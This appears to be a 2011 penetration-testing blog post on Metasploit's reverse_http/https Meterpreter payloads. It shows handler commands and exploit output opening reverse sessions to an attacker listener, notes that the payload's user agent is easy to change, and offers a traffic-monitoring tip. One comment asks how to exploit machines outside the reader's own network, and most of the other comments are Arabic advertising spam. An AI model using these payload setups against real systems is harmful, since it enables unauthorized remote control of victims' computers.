Home > Meterpreter > Meterpreters new reverse_http and reverse_https options
Meterpreters new reverse_http and reverse_https options
Posted on 8 Juli 2011 by c0decstuff
So we’ve all been unlucky enough to have a meterpreter session die on us, and then we’ve all been unlucky enough that we cannot re-exploit the box using the same vulnerability for some reason or another.
No one I know in the White Hat scene likes to use any form of persistence with a payload; and you’d be nuts to use the bind_tcp option through fear of leaving it running. (I’ve heard horror stories of teams turning up to perform a test and finding netcat listeners running on the targets from the previous years test!)
On 29th June 2011 HD Moore released a new set of payloads, specifically the windows/meterpreter/reverse_http(s) payloads we’re interested in.
The most interesting thing about these new payloads is that they are no longer tied into a single TCP session; thus, if you’re connection dies they victim will attempt to reconnect to the listener automatically! Sweet!
This is probably even better news for those taking exams such as CHECK Team Leader and the like where wasting time re exploiting a box could be the difference between pass and fail.
And that’s it really, just use it the same way you would with reverse_tcp.
If you’re using exploit/multi/handler make sure to set the payload correctly to re-establish the session.?
Going on from this it’s important to understand when the payload will terminate. We wouldn’t want it to keep connecting back to the attacker for ever. There are some advanced options that we need to be aware of for the reverse_http and reverse_https payloads.
Payload advanced options (windows/meterpreter/reverse_http):
Name : SessionCommunicationTimeout
Current Setting: 300
Description : The number of seconds of no activity before this session should be killed
Current Setting: 604800
Description : The number of seconds before this session should be forcible shut down
SessionExpirationTimeout simply tells the payload to terminate regardless of an open connection or not after this amount of time. Default = 1 week
SessionCommunicationTimeout simply tells the payload to terminate itself after a period of not being able to connect back to the attacker. Default = 5 minutes
There is another option (core_shutdown) that tells the payload to terminate if the session is exited through the metasploit console.
The major benefit of using the reverse_http and reverse_https payloads is that they follow the standard HTTP protocol and can traverse proxies.
[ *] Automatically detecting the target…
[ *] Fingerprint: Windows XP – Service Pack 0 / 1 – lang:English
[ *] Selected Target: Windows XP SP0/SP1 Universal
[ *] Attempting to trigger the vulnerability…
[ *] 192.168.1.151:1449 Request received for /INITM…
[ *] 192.168.1.151:1449 Staging connection for target /INITM received…
[ *] Patched transport at offset 486516…
[ *] Patched URL at offset 486248…
[ *] Patched Expiration Timeout at offset 641856…
[ *] Patched Communication Timeout at offset 641860…
[ *] Meterpreter session 3 opened (192.168.1.109:80 -> 192.168.1.151:1449) at 2011-07-07 13:03:20 +0100
C:\
meterpreter >
If you’re unfortunate to have msfconsole die your end simply start the multi/exploit/handler with the correct payload (http/https)
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.109
LHOST => 192.168.1.109
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > exploit
[ *] Starting the payload handler…
[ *] 192.168.1.151:1710 Request received for /CONN_e7LiknUYlilI6RW8/…
[ *] Incoming orphaned session CONN_e7LiknUYlilI6RW8, reattaching…
[ *] Meterpreter session 1 opened (192.168.1.109:80 -> 192.168.1.151:1710) at 2011-07-07 13:11:00 +0100
C:\
The interesting thing to note here is that this type of attack is going to be relatively easy for sys admins to notice.
Shown here is a sample of how the payload talks back to the attacker:
User-Agent: Meterpreter/Windows
Host: 192.168.1.109
Content-Length: 4
Pragma: no-cache
Content-Type: application/octet-stream
Connection: close
Server: Rex
Content-Length: 0
Simply monitoring your site inbound/outbound traffic for any user agent along the lines of Meterpreter/Windows should throw up some serious concerns if it’s seen. Unfortunately this should also pretty easy for a blackhat attacker to modify:
root@bt:/pentest/exploits/framework3# find . | xargs grep -i ‘Meterpreter\/Windows’ -s1
./external/source/meterpreter/source/server/server_setup.c- // Allocate the top-level handle
./external/source/meterpreter/source/server/server_setup.c: remote->hInternet = InternetOpen("Meterpreter/Windows", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
./external/source/meterpreter/source/server/server_setup.c- if (!remote->hInternet) {
–
root@bt:/pentest/exploits/framework3#
Category Article Meterpreter
8 Responses to “c0decstuff”
Total Pageviews
Labels
- Android (1)
- Aplication (14)
- ARP (1)
- Backdoored (2)
- Browser (1)
- Cloud (1)
- Exploitation (1)
- Exploits (7)
- Facebook (2)
- forensics (3)
- Hacking (11)
- Hijacking (1)
- Honeypot (1)
- HTML5 (1)
- ios (2)
- Jailbreak (2)
- Linux (1)
- Malware (5)
- metasploit (2)
- Meterpreter (1)
- Movie (1)
- Networking (1)
- News (2)
- password attack (2)
- Penetration Test (2)
- Python (1)
- reverse engineering (1)
- Rootkits (1)
- Security (12)
- shellcode (2)
- Stuxnet/Duqu (2)
- Uncategories (1)
- Virus (1)
- Vulnerability (8)
- Web (5)
- Wifi (1)
- Windows (5)
Blog Archive
-
▼
11
(51)
-
▼
Jul
(11)
- Breaking MailEnable 2.34: A lesson in security fea...
- Meterpreters new reverse_http and reverse_https op...
- Capture all metasploit input/output
- Pwning Mac OS X with evilgrade + MacPorts
- reverse engineering the google +1 button-using-fir...
- Advanced Nmap
- Fiddling with Chromium's new certificate pinning
- Journey into Exploitation: awbo2.exe
- Extracting Files from a tcpdump
- How security-teams deal with leaking passwords
- Transfer Files and Data via DNS-Requests
-
▼
Jul
(11)
Friendlist
Security Resources
-
-
-
This feed contains no entries
-
-
-
-
-
-
-
-
-
hello,
I just found out about you're blog about a hour ago and it's been very very interesting and helpful for me! :)
I read your blog about meterpreter reverse_http/https sessions ( http://c0decstuff.blogspot.com/2011/07/so-weve-all-been-unlucky-enough-to-have.html# )
I have used this kind of payload (java/meterpreter/reverse_http) combined with the java rhino exploit. I can successfully exploit a PC on my network.
I'm wondering what settings i should use for the lhost and srvhost when I would like to exploit a PC outside of my network. Should i fill in my external IP for the lhost and srvhost? I have a static IP, and port forwarded the necessary ports. I attached a picture to make it a bit more clear what i mean.
I'm just wondering if i should fill in my external/internal IP for the lhost/srvhost.. I find it kinda confusing lol. I think it should be my external IP, otherwise how would the payload know where to connect too right?
Thanks for the help, and the amazing blog! :)
Great Post!
A meterpreter is the best way to hack devices
صور مظلات السيارات
مظلات مداخل الفلل
مظلات جدة
مظلات وسواتر المملكه
سواتر شرائح
مظلات الرياض
مظلات مساجد
مظلات وسواتر الدمام
مظلات مدارس
شركة رش مبيدات بالدمام
شركة رش مبيدات بالقطيف
شركة مكافحة حشرات بالخبر
شركة مكافحة حشرات بالجبيل
شركة مكافحة حشرات بالاحساء
شركة مكافحة حشرات بالقطيف
شركة مكافحة حشرات بجازان
شركة نقل عفش بجازان
شركة تنظيف بجازان
شركة تنظيف سجاد بجازان
شركة تنظيف مجالس بجازان
شركة تنظيف موكيت بالبخار بجدة
يذكر الدكتور محمود ناصر افضل دكتور قدم سكري في مصر ان المحافظة على الوزن الصحي يساعد علي منع الاصابة بمرض الدوالي لان السمنة تزيد من ضغط الدم على الأوردة وتزيد من خطر الدوالي. لذا، يُنصح بالحفاظ على وزن صحي من خلال تناول طعام متوازن وممارسة النشاط البدني.
أهمية الاستعانة ب شركة نقل عفش بالقاهرة:
التوقيت والكفاءة: يملك فريق العمل المحترف الذي تعمل به شركات نقل الأثاث في مصر القدرة على العمل بشكل سريع وفعال، مما يوفر لك الوقت والجهد في عملية النقل.
التأمين: بعض شركات نقل الأثاث تقدم خدمات التأمين للأثاث المنقول، مما يعني أنه في حالة حدوث أي ضرر أو تلف أثناء عملية النقل، ستُعوَّض عن الأضرار.-
استخدام شركة نقل عفش يزيد من فعالية عمليات النقل ويقلل من مخاطر تلف الأثاث والإصابات الناتجة عن الرفع اليدوي. يكون للونش عفش تأثير كبير في تسريع وتسهيل عمليات النقل، خاصة عند التعامل مع أماكن صعبة الوصول أو أشياء ثقيلة وكبيرة.